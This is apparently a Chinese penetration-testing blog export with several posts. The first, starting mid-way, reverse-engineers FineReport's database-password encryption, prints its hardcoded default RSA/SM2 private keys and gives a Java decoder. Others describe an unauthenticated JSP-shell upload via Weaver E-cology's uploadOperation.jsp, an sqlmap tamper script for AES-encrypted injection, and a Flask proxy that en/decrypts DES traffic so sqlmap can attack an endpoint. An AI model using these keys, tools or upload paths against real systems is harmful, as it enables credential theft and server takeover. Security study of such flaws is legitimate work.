<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="number">2023</span>-<span class="number">03</span>-<span class="number">29</span> <span class="number">12</span>:<span class="number">07</span>:<span class="number">27</span> <span class="number">29</span>-Mar-<span class="number">2023</span> <span class="number">12</span>:<span class="number">07</span>:<span class="number">27.258</span> 信息 [localhost-startStop-<span class="number">1</span>] com.fr.third.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.register Mapped <span class="string">&quot;&#123;[/&#123;version&#125;/migration/config/finedb],methods=[POST]&#125;&quot;</span> onto <span class="keyword">public</span> com.fr.decision.webservice.Response com.fr.web.controller.decision.api.migration.MigrationResource.updateFineDBConfig(javax.servlet.http.HttpServletRequest,javax.servlet.http.HttpServletResponse,java.lang.String,com.fr.decision.webservice.bean.migration.DBConfigBean) <span class="keyword">throws</span> java.lang.Exception</span><br></pre></td></tr></table></figure>

<p><img data-src="https://s2.loli.net/2023/04/05/vT4HiWeuOqsAxRj.png" alt="updateFineDBConfig"></p>
<p>跟进<code>updateFineDBConfig</code></p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">updateFineDBConfig</span><span class="params">(DBConfigBean var1)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">    var1.setPassword(<span class="built_in">this</span>.getFineDBPassword(var1));</span><br><span class="line">    MigrationContext.getInstance().updateFineDBConfig(var1);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>跟进<code>updateFineDBConfig</code></p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">synchronized</span> <span class="keyword">void</span> <span class="title function_">updateFineDBConfig</span><span class="params">(DBConfigBean var1)</span> &#123;</span><br><span class="line">    MigrationDBConfiguration.getInstance().updateCache(var1.toDBOption());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>跟进<code>updateCache</code></p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">synchronized</span> <span class="keyword">void</span> <span class="title function_">updateCache</span><span class="params">(DBOption var1)</span> &#123;</span><br><span class="line">    <span class="built_in">this</span>.cachedOption = FineDBProperties.getInstance().get();</span><br><span class="line">    <span class="type">Properties</span> <span class="variable">var2</span> <span class="operator">=</span> var1.getProperties();</span><br><span class="line">    <span class="type">Iterator</span> <span class="variable">var3</span> <span class="operator">=</span> var2.stringPropertyNames().iterator();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span>(var3.hasNext()) &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">var4</span> <span class="operator">=</span> (String)var3.next();</span><br><span class="line">        <span class="built_in">this</span>.cachedOption.addRawProperty(var4, var2.get(var4));</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (Log4jConfig.getInstance().getRootLevel() == Level.DEBUG) &#123;</span><br><span class="line">        <span class="built_in">this</span>.cachedOption.addRawProperty(<span class="string">&quot;show_sql&quot;</span>, <span class="literal">true</span>);</span><br><span class="line">        <span class="built_in">this</span>.cachedOption.addRawProperty(<span class="string">&quot;format_sql&quot;</span>, <span class="literal">true</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>跟进<code>getProperties</code></p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> Properties <span class="title function_">getProperties</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> (Properties)<span class="built_in">this</span>.properties.clone();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> DBOption <span class="title function_">read</span><span class="params">(InputStream var1)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.read(var1, (PasswordCipher)<span class="literal">null</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> DBOption <span class="title function_">read</span><span class="params">(InputStream var1, PasswordCipher var2)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">    <span class="built_in">this</span>.properties.load(var1);</span><br><span class="line">    <span class="built_in">this</span>.trimValues();</span><br><span class="line">    <span class="keyword">if</span> (var2 != <span class="literal">null</span> &amp;&amp; <span class="built_in">this</span>.properties.containsKey(<span class="string">&quot;hibernate.connection.password&quot;</span>)) &#123;</span><br><span class="line">        <span class="built_in">this</span>.properties.put(<span class="string">&quot;hibernate.connection.password&quot;</span>, var2.decode(<span class="built_in">this</span>.properties.getProperty(<span class="string">&quot;hibernate.connection.password&quot;</span>)));</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>在进行DB配置读取时会调用decode进行解密，并且decode在<code>com.fr.properties.finedb.DBPropertyCipher</code>进行了实现。跟进之后可以看到具体实现解密功能的代码。</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> String <span class="title function_">decode</span><span class="params">(String var1)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (StringUtils.isEmpty(var1)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&quot;&quot;</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            String var2;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                var2 = StorageEncryptors.getInstance().decrypt(var1, FineDBSecretImpl.KEY.getPrivateKey());</span><br><span class="line">            &#125; <span class="keyword">catch</span> (Exception var4) &#123;</span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">LifecycleFatalError</span>(var4.getMessage(), var4);</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> (<span class="literal">null</span> == var2) &#123;</span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">LifecycleFatalError</span>(<span class="string">&quot;Error to decrypt database password!&quot;</span>);</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="keyword">return</span> var2;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure>

<p>可以看到会调用decrypt函数进行解密，并且密钥为<code>FineDBSecretImpl.KEY.getPrivateKey()</code>。跟进之后发现会判断var1是否为空，如果不为空进入findMatchedText进行正则匹配之后返回var2。如果为空，直接返回</p>
<p><code>StorageEncryptors.getInstance().getCurrentSecurityKeys().getDecodeKey()</code></p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> String <span class="title function_">getPrivateKey</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">var1</span> <span class="operator">=</span> <span class="built_in">this</span>.getText();</span><br><span class="line">        <span class="keyword">if</span> (StringUtils.isNotEmpty(var1)) &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">var2</span> <span class="operator">=</span> <span class="built_in">this</span>.findMatchedText(var1, PRIVATE_PATTERN);</span><br><span class="line">            <span class="keyword">if</span> (StringUtils.isNotEmpty(var2)) &#123;</span><br><span class="line">                <span class="keyword">return</span> var2;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> StorageEncryptors.getInstance().getCurrentSecurityKeys().getDecodeKey();</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure>

<p>跟进getDecodeKey之后，发现有两个实现：RSA、SM2，根据配置文件信息可得知数据库密码为RSA加密。跟进对应实现之后可以发现最终调用的是getDefaultDecodeKey。通过向<code>DefaultKeys.getInstance().getKey</code>传入不同参数获取公钥、私钥。继续跟进之后可以看到<code>DefaultKeys</code>进行初始化操作。</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="title function_">DefaultKeys</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">Properties</span> <span class="variable">var1</span> <span class="operator">=</span> <span class="built_in">this</span>.read(<span class="string">&quot;/58f9/default&quot;</span>);</span><br><span class="line">        <span class="type">Properties</span> <span class="variable">var2</span> <span class="operator">=</span> <span class="built_in">this</span>.read(<span class="string">&quot;/8d30/default&quot;</span>);</span><br><span class="line">        <span class="type">Properties</span> <span class="variable">var3</span> <span class="operator">=</span> <span class="built_in">this</span>.read(<span class="string">&quot;/53c1/default&quot;</span>);</span><br><span class="line">        <span class="type">Iterator</span> <span class="variable">var4</span> <span class="operator">=</span> var1.entrySet().iterator();</span><br><span class="line"></span><br><span class="line">        <span class="keyword">while</span>(var4.hasNext()) &#123;</span><br><span class="line">            Map.<span class="type">Entry</span> <span class="variable">var5</span> <span class="operator">=</span> (Map.Entry)var4.next();</span><br><span class="line">            <span class="type">String</span> <span class="variable">var6</span> <span class="operator">=</span> var5.getKey().toString();</span><br><span class="line">            <span class="built_in">this</span>.keys.put(var6, var5.getValue().toString() + var2.getProperty(var6, <span class="string">&quot;&quot;</span>) + var3.getProperty(var6, <span class="string">&quot;&quot;</span>));</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure>

<p>跟进read函数，可发现最终是由<code>com/fr/security/encryption/storage/keys/impl/var1</code>进行获取</p>
<p><img data-src="https://s2.loli.net/2023/04/05/LAJ798tdBbUcMkN.png" alt="RSA Pri"></p>
<p>RSA公钥、私钥</p>
<figure class="highlight awk"><table><tr><td class="code"><pre><span class="line">rsa_pub=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAj0yc<span class="regexp">/l+39O1XukrG1cA4rmJEDlmfdUZHVWFrFkYA3XvZI9FQIYjx/i</span>rVurCtXsgn88xWlvEMAlKQVdU5EDvv5q</span><br><span class="line">rsa_pri=MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCPTJz+X7f07Ve6SsbVwDiuYkQOWZ91RkdVYWsWRgDde9kj0VAhiPH+KtW6sK1eyCfzzFaW8QwCUpBV1TkQO+<span class="regexp">/mpL71fzctXq3JKEVDiFVr6zWf54eFaPc9NNOwQs3tISZoJ3MU0Bx9dgT5znWa9ZKKg6S05FniX1KHexD5v8aKvvSEmT4BEjakTbGYRlAILW+SzytJprL8u4YT48GS4rjaptx9aQGG9dvwaqdbb7cDrWEVrxVJ1mYSrmqoO8JRIHGNWEBOAA7nupCh/</span>e<span class="regexp">/XeXKfzOT4WD8ph5PWK7GClWpiMsBHKvZ/</span>WFkGKJlPnI23BVWTf7i4<span class="regexp">/YDIiH6g0A66M1JrAgMBAAECggEAJ8Xt9TSADH0r0ksa8Q0PLmeb2BfMCHLfLbWCUYZQiyjq1eQsx4IJGLCu7chH9ny7ihF3HyH8YVClOw2ZbwYTygKD9gO/</span>Ptp+hcylnN7kRrXcBmvu03qU1Ooqr0t7eIuw60u3x1kT7</span><br><span class="line">sm2=MzA4MjAxNTEwMjAxMDEwNDIwYzQxYTMyYzRhOWMwMTFhYmE0Yzk2NjA4YjUwMDA1NzllNzA2ZmRmZDA2NDE4NjljNmRjNGJkNDY3MmQ1YWI4ZmEwODFlMzMwODFlMDAyMDEwMTMwMmMwNjA3MmE4NjQ4Y2UzZDAxMDEwMjIxMDBmZmZmZmZmZWZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmMDAwMDAwMDBmZmZmZmZmZmZmZmZmZmZmMzA0NDA0MjBmZmZmZmZmZWZmZmZmZmZmZmZmZmZmZmZmZmZm</span><br></pre></td></tr></table></figure>

<h1 id="解密函数实现"><a href="#解密函数实现" class="headerlink" title="解密函数实现"></a>解密函数实现</h1><p>根据上述，可得知直接调用对应decode即可对加密数据进行解密</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">package</span> org.passwordDecode;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.fr.properties.finedb.DBPropertyCipher;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">pdDecode</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        decodePass = DBPropertyCipher.getInstance().decode(encString.replace(<span class="string">&quot;\\r\\n&quot;</span>,<span class="string">&quot;\n&quot;</span>).replace(<span class="string">&quot;\\=&quot;</span>,<span class="string">&quot;=&quot;</span>));</span><br><span class="line">        System.out.println(decodePass);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p><img data-src="https://s2.loli.net/2023/04/05/Fe9Z8yLAqGdrfnC.png" alt="decode"></p>
<h1 id="问题"><a href="#问题" class="headerlink" title="问题"></a>问题</h1><ol>
<li>在使用idea+maven进行打包的时候，发现如果将帆软的lib通过外部库引用的方式，打包之后无法调用（类找不到）。通过<code>mvn install:install</code>将对应jar安装到本地仓库即可</li>
</ol>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">mvn install:install-file -Dfile=fine-core-10.0.jar -DgroupId=com.fr -DartifactId=core -Dversion=10 -Dpackaging=jar</span><br><span class="line">mvn install:install-file -Dfile=fine-accumulator-10.0.jar -DgroupId=com.fr -DartifactId=accumulator -Dversion=10 -Dpackaging=jar</span><br><span class="line">mvn install:install-file -Dfile=fine-activator-10.0.jar -DgroupId=com.fr -DartifactId=activator -Dversion=10 -Dpackaging=jar</span><br><span class="line">mvn install:install-file -Dfile=fine-datasource-10.0.jar -DgroupId=com.fr -DartifactId=datasource -Dversion=10 -Dpackaging=jar</span><br><span class="line">mvn install:install-file -Dfile=fine-decision-10.0.jar -DgroupId=com.fr -DartifactId=decision -Dversion=10 -Dpackaging=jar</span><br><span class="line">mvn install:install-file -Dfile=fine-decision-report-10.0.jar -DgroupId=com.fr -DartifactId=decision-report -Dversion=10 -Dpackaging=jar</span><br><span class="line">mvn install:install-file -Dfile=fine-report-engine-10.0.jar -DgroupId=com.fr -DartifactId=report-engine -Dversion=10 -Dpackaging=jar</span><br><span class="line">mvn install:install-file -Dfile=fine-schedule-10.0.jar -DgroupId=com.fr -DartifactId=schedule -Dversion=10 -Dpackaging=jar</span><br><span class="line">mvn install:install-file -Dfile=fine-schedule-report-10.0.jar -DgroupId=com.fr -DartifactId=schedule-report -Dversion=10 -Dpackaging=jar</span><br><span class="line">mvn install:install-file -Dfile=fine-swift-log-adaptor-10.0.jar -DgroupId=com.fr -DartifactId=swift-log-adaptor -Dversion=10 -Dpackaging=jar</span><br><span class="line">mvn install:install-file -Dfile=fine-third-10.0.jar -DgroupId=com.fr -DartifactId=third -Dversion=10 -Dpackaging=jar</span><br><span class="line">mvn install:install-file -Dfile=fine-webui-10.0.jar -DgroupId=com.fr -DartifactId=webui -Dversion=10 -Dpackaging=jar</span><br></pre></td></tr></table></figure>

<ol start="2">
<li>发现打包之后的jar找不到主属性清单，通过使用spring-boot-maven-plugin解决</li>
</ol>
<figure class="highlight ini"><table><tr><td class="code"><pre><span class="line">&lt;plugin&gt;</span><br><span class="line">    &lt;groupId&gt;org.springframework.boot&lt;/groupId&gt;</span><br><span class="line">    &lt;artifactId&gt;spring-boot-maven-plugin&lt;/artifactId&gt;</span><br><span class="line">    &lt;version&gt;2.3.7.RELEASE&lt;/version&gt;</span><br><span class="line">    &lt;configuration&gt;</span><br><span class="line">        &lt;mainClass&gt;org.passwordDecode.pdDecode&lt;/mainClass&gt;</span><br><span class="line">    &lt;/configuration&gt;</span><br><span class="line">    &lt;executions&gt;</span><br><span class="line">        &lt;execution&gt;</span><br><span class="line">            &lt;goals&gt;</span><br><span class="line">                &lt;goal&gt;repackage&lt;/goal&gt;</span><br><span class="line">            &lt;/goals&gt;</span><br><span class="line">        &lt;/execution&gt;</span><br><span class="line">    &lt;/executions&gt;</span><br><span class="line">&lt;/plugin&gt;</span><br></pre></td></tr></table></figure>

]]></content>
      <categories>
        <category>安全</category>
        <category>渗透测试</category>
      </categories>
      <tags>
        <tag>帆软</tag>
      </tags>
  </entry>
  <entry>
    <title>泛微E-cology任意文件上传</title>
    <url>/archives/be5ece47.html</url>
    <content><![CDATA[<p>这是一个“偶遇”泛微任意文件上传的故事。</p>
<p><img data-src="https://s2.loli.net/2023/04/05/AuXVyHvI1tJF2q4.png"></p>
<span id="more"></span>

<h1 id="故事起源"><a href="#故事起源" class="headerlink" title="故事起源"></a>故事起源</h1><p>访问<span class="exturl" data-url="aHR0cHM6Ly93d3cud2VhdmVyLmNvbS5jbi9jcy9zZWN1cml0eURvd25sb2FkLmh0bWw=">泛微安全补丁<i class="fa fa-external-link-alt"></i></span>页面发现泛微ecology五月十一号更新了一个补丁，主要包括三个内容：</p>
<ol>
<li>fastjson升级至1.2.68版本；</li>
<li>安全补丁包性能优化；</li>
<li>修复一些安全隐患；</li>
</ol>
<p>看到修复一些安全隐患，那么代表肯定有安全漏洞！</p>
<h1 id="漏洞发现"><a href="#漏洞发现" class="headerlink" title="漏洞发现"></a>漏洞发现</h1><p>下载最新补丁分析之后，发现一个有趣的文件：uploadOperation，根据名称可以大概知道是一个上传的功能点，补丁包里面的uploadOperatio文件改成了直接输出error。</p>
<figure class="highlight java"><table><tr><td class="code"><pre><span class="line">out.println(<span class="string">&quot;error&quot;</span>);</span><br></pre></td></tr></table></figure>
<p>根据名称和文件内容，猜测这个功能在之前的版本存在文件上传。翻出之前的版本查看uploadOperation文件，发现uploadOperation功能极其简单：根据请求包的上传请求，将文件保存在page&#x2F;exportImport&#x2F;fileTransfer目录下。并且在前后翻了许多遍，根本没有任何的过滤、校验！</p>
<h1 id="漏洞验证"><a href="#漏洞验证" class="headerlink" title="漏洞验证"></a>漏洞验证</h1><p>根据功能，构造一个文件上传的请求进行验证，发现可以直接上传jsp类型文件。</p>
<p><img data-src="https://s2.loli.net/2023/04/05/y8Jle5G172AmFan.png"></p>
<p>shell</p>
<p><img data-src="https://s2.loli.net/2023/04/05/AuXVyHvI1tJF2q4.png"></p>
<h1 id="漏洞危害"><a href="#漏洞危害" class="headerlink" title="漏洞危害"></a>漏洞危害</h1><p>一开始理解该功能是需要登录才能使用，后面通过fofa搜索发现有某些版本可以不需要登录直接访问！！！代表该问题是一处没有任何限制的任意文件上传！！！</p>
<p>page&#x2F;exportImport&#x2F;uploadOperation.jsp</p>
<p><img data-src="https://s2.loli.net/2023/04/05/fgMvu1eHcznLiIa.png"></p>
<p><img data-src="https://s2.loli.net/2023/04/05/GN1alCJHe9Qfp4v.png"></p>
<p><img data-src="https://s2.loli.net/2023/04/05/mCRTs3wb1PvK58Q.png"></p>
]]></content>
      <categories>
        <category>安全</category>
        <category>渗透测试</category>
      </categories>
      <tags>
        <tag>漏洞分析</tag>
        <tag>泛微</tag>
      </tags>
  </entry>
  <entry>
    <title>渗透测试-加密SQL注入</title>
    <url>/archives/5f6b1580.html</url>
    <content><![CDATA[<p>在日站的时候，发现一处注入。但是注入语句被AES加密。通过Chrome进行单步debug，拿到了key、iv等信息。最后使用SQLMap加载tamper进行自动注入。<br><a href="https://i.loli.net/2018/11/06/5be139214993c.png"><img data-src="https://i.loli.net/2018/11/06/5be139214993c.png" alt="sqlmap.png"></a></p>
<span id="more"></span>
<h1 id="寻找注入点"><a href="#寻找注入点" class="headerlink" title="寻找注入点"></a>寻找注入点</h1><p>渗透的时候，发现了一个页面，参数有initSql，看到这个参数名称猜测这个参数是用来进行SQL查询的，但是这个参数被加密了。将initSql的值替换成后一个请求的initSql参数的值，回显信息里面出现了SQL报错信息。<br><a href="https://i.loli.net/2018/11/06/5be131bc0ea0a.png"><img data-src="https://i.loli.net/2018/11/06/5be131bc0ea0a.png" alt="SQL加密.png"></a><br>现在可以判断这个就是一个注入点，但是现在这样是没办法把数据成功注入出来！转头一想，进行请求的时候参数值已经被加密，那么这个加密操作十有八九是在前端通过JS进行加密，服务器再进行解密。</p>
<h1 id="寻找加密信息"><a href="#寻找加密信息" class="headerlink" title="寻找加密信息"></a>寻找加密信息</h1><p>按照刚刚的思路，现在去import的JS里面进行寻找关键的加密函数以及加密，使用chrome开发者工具中的【Select an element in the page to inspect it】定位到【Sources】中的对应行业，点击左边的行数进行debug，通过不断的单步直至找到对应的js。<br><a href="https://i.loli.net/2018/11/06/5be133a64fb94.png"><img data-src="https://i.loli.net/2018/11/06/5be133a64fb94.png" alt="key.png"></a><br>使用找到的iv、key可成功的对加密之后的语句进行解密，但是这样去注入得手工一点一点的去搞，还是得祭出SQLMap这种神器最方便。<br>想起SQLMap可以使用tamper加载脚本，对注入的payload进行处理。这里直接把代码贴上来给大家参考参考。</p>
<figure class="highlight pgsql"><table><tr><td class="code"><pre><span class="line">#!/usr/bin/env python</span><br><span class="line"></span><br><span class="line">&quot;&quot;&quot;</span><br><span class="line">Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)</span><br><span class="line">See the file &#x27;LICENSE&#x27; for copying permission</span><br><span class="line">&quot;&quot;&quot;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">from</span> Crypto.Cipher <span class="keyword">import</span> AES</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> lib.core.enums <span class="keyword">import</span> PRIORITY</span><br><span class="line"></span><br><span class="line">__priority__ = PRIORITY.LOW</span><br><span class="line"></span><br><span class="line">def tamper(payload, **kwargs):        </span><br><span class="line">    BS = AES.block_size</span><br><span class="line">    pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)</span><br><span class="line">    </span><br><span class="line">    key = &quot;xxxxxxxxxx&quot;</span><br><span class="line">    iv = &quot;xxxxxxxx&quot;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    cipher = AES.<span class="built_in">new</span>(key)</span><br><span class="line">    cipher = AES.<span class="built_in">new</span>(key,</span><br><span class="line">    AES.MODE_CBC, IV=iv)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">encrypted</span> = cipher.encrypt(pad(payload))</span><br><span class="line">    <span class="keyword">encrypted</span> = base64.b64encode(<span class="keyword">encrypted</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">encrypted</span></span><br></pre></td></tr></table></figure>
<p>后面加载这个tamper就可以直接用SQLMap跑了。</p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><ol>
<li>这个漏洞产生原因”大概“是因为上次被发现注入，开发人员”偷懒“直接调用CryptoJS进行加密，导致该漏洞产生；</li>
<li>现在很多操作都会放在前端进行操作，挖挖前端也是一种思路。</li>
</ol>
]]></content>
      <categories>
        <category>安全</category>
        <category>渗透测试</category>
      </categories>
      <tags>
        <tag>SQL注入</tag>
        <tag>SQLMAP</tag>
      </tags>
  </entry>
  <entry>
    <title>渗透测试-响应加密SQL注入</title>
    <url>/archives/8592a171.html</url>
    <content><![CDATA[<p>在渗透的时候，发现有一处注入点请求参数进行了des加密，并且响应包也通过des进行了加密。想使用sqlmap进行注入，发现sqlmap不支持响应包处理操作（tamper只适用于请求包处理）。通过flask进行处理，最终使用sqlmap成功注入。</p>
<p><img data-src="https://i.loli.net/2019/07/11/5d26a759ad31f57825.png" alt="sqlmap-result.png"></p>
<span id="more"></span>

<h1 id="寻找注入点"><a href="#寻找注入点" class="headerlink" title="寻找注入点"></a>寻找注入点</h1><p>发现一处页面名称为doQuery，猜测是用来执行查询功能。POST请求包：其参数名为reqParam，其值为des加密字段（url编码）。</p>
<p><img data-src="https://i.loli.net/2019/07/11/5d2693a89620e87249.png" alt="request.png"></p>
<p>经过验证确实为des加密，如何寻找key、iv在此就不赘述了，可以去<a href="/archives/5f6b1580.html" title="渗透测试-加密SQL注入">渗透测试-加密SQL注入</a>了解。</p>
<p><img data-src="https://i.loli.net/2019/07/11/5d2696e5a958769670.png" alt="des-req.png"></p>
<p>查看对应的响应包，发现整个响应包内容都被加密了</p>
<p><img data-src="https://i.loli.net/2019/07/11/5d26a8e9661dd40130.png" alt="des-resp.png"></p>
<p>使用对应的key能将响应包内容解密出来。</p>
<p><img data-src="https://i.loli.net/2019/07/11/5d26975c2661630066.png" alt="des-resp.png"></p>
<h2 id="SQLMap"><a href="#SQLMap" class="headerlink" title="SQLMap"></a>SQLMap</h2><h2 id="问题归纳"><a href="#问题归纳" class="headerlink" title="问题归纳"></a>问题归纳</h2><p>本以为SQLMap会自带功能对响应包进行解密，毕竟SQLMap支持自定义脚本（tamper）对请求包进行处理。根据sqlmap官方github仓库的<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL3NxbG1hcHByb2plY3Qvc3FsbWFwL2lzc3Vlcy8yMzA5">issues<i class="fa fa-external-link-alt"></i></span>，得知SQLMap不支持对响应内容进行编码处理。现在的问题点在于如何对response进行处理，认真想了想sqlmap支持proxy进行代理，那么可以通过代理将请求转发过来，由代理服务器对请求、响应进行处理。</p>
<h2 id="flask代理"><a href="#flask代理" class="headerlink" title="flask代理"></a>flask代理</h2><p>需要实现几个关键点：</p>
<ul>
<li>对请求参数reqParam的值进行des加密，假定该值为encrypt_str</li>
<li>对encrypt_str进行url编码处理，假定该值为post_data</li>
<li>对响应包进行解密</li>
</ul>
<p>这里就直接贴代码给大家参考参考。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">import</span> pyDes</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> logging</span><br><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Flask, request, Response</span><br><span class="line"><span class="keyword">from</span> urllib.parse <span class="keyword">import</span> unquote, quote</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">app = Flask(__name__)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.before_request</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">proxy</span>():</span><br><span class="line">    secret_key = <span class="string">b&quot;****&quot;</span></span><br><span class="line">    k = pyDes.des(secret_key, pyDes.ECB, pad=<span class="literal">None</span>, padmode=pyDes.PAD_PKCS5)</span><br><span class="line">    encrypt_test_str = unquote(request.get_data().decode())[<span class="number">9</span>:]</span><br><span class="line">    encrypt_str = k.encrypt(encrypt_test_str)</span><br><span class="line">    post_data = <span class="string">b&#x27;reqParam=&#x27;</span> + quote(base64.b64encode(encrypt_str)).encode()</span><br><span class="line">    app.logger.info(<span class="string">&quot;Encrypt data:%s&quot;</span>, post_data)</span><br><span class="line">    resp = requests.request(</span><br><span class="line">        method=request.method,</span><br><span class="line">        url=request.url,</span><br><span class="line">        headers=&#123;key: value <span class="keyword">for</span> (key, value) <span class="keyword">in</span> request.headers <span class="keyword">if</span> key != <span class="string">&#x27;Host&#x27;</span>&#125;,</span><br><span class="line">        data=post_data,</span><br><span class="line">        cookies=request.cookies, allow_redirects=<span class="literal">False</span>, verify=<span class="literal">False</span>)</span><br><span class="line">    excluded_headers = [<span class="string">&#x27;content-encoding&#x27;</span>, <span class="string">&#x27;content-length&#x27;</span>, <span class="string">&#x27;transfer-encoding&#x27;</span>, <span class="string">&#x27;connection&#x27;</span>]</span><br><span class="line">    headers = [(name, value) <span class="keyword">for</span> (name, value) <span class="keyword">in</span> resp.raw.headers.items()</span><br><span class="line">               <span class="keyword">if</span> name.lower() <span class="keyword">not</span> <span class="keyword">in</span> excluded_headers]</span><br><span class="line">    response_data = base64.b64decode(resp.content)</span><br><span class="line">    <span class="keyword">if</span> <span class="string">b&quot;false&quot;</span> <span class="keyword">in</span> k.decrypt(response_data):</span><br><span class="line">        app.logger.error(<span class="string">&#x27;Response data:%s&#x27;</span>, k.decrypt(response_data))</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        app.logger.info(<span class="string">&#x27;Response data:%s&#x27;</span>, k.decrypt(response_data))</span><br><span class="line">    response = Response(k.decrypt(response_data), resp.status_code, headers)</span><br><span class="line">    <span class="keyword">return</span> response</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    app.run(host=<span class="string">&quot;0.0.0.0&quot;</span>, debug=<span class="literal">True</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>将请求保存到sql.txt里，需要注意的是在sql.txt中reqParam参数需为解密之后字符串。</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sudo python sqlmap.py -r sql.txt --proxy http://127.0.0.1:5000</span><br></pre></td></tr></table></figure>

<h1 id="SQL注入问题解决"><a href="#SQL注入问题解决" class="headerlink" title="SQL注入问题解决"></a>SQL注入问题解决</h1><p>现在已经可以通过flask对请求、响应进行加密、解密等操作，但是查看sqlmap的返回结果，显示没有注入。Emmmm·····认真查看了json里面参数，发现有orderBy参数，直接使用*指定该参数，看看能不能有什么进展。</p>
<p>这时候发现响应内容为：<code>&#123;&quot;errmsg&quot;:&quot;ORA-01785: ORDER BY item must be the number of a SELECT-list expression\\n&quot;,&quot;success&quot;:false&#125;&#39;</code>基本可以明确该点确实有问题，但是这次依旧跑不出来！</p>
<p>认真查看发现爆出了原始语句，最后对注入点的语句进行“优化”，成功跑出来。</p>
<h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>​	1.有时候可以通过自己编写一些小工具辅助工作，例如本次使用flask结合sqlmap；</p>
<p>​	2.在某些时候如果没有思路，对已有的信息再归纳归纳，或许有意想不到的收获，例如本次对注入点“优化”。</p>
]]></content>
      <categories>
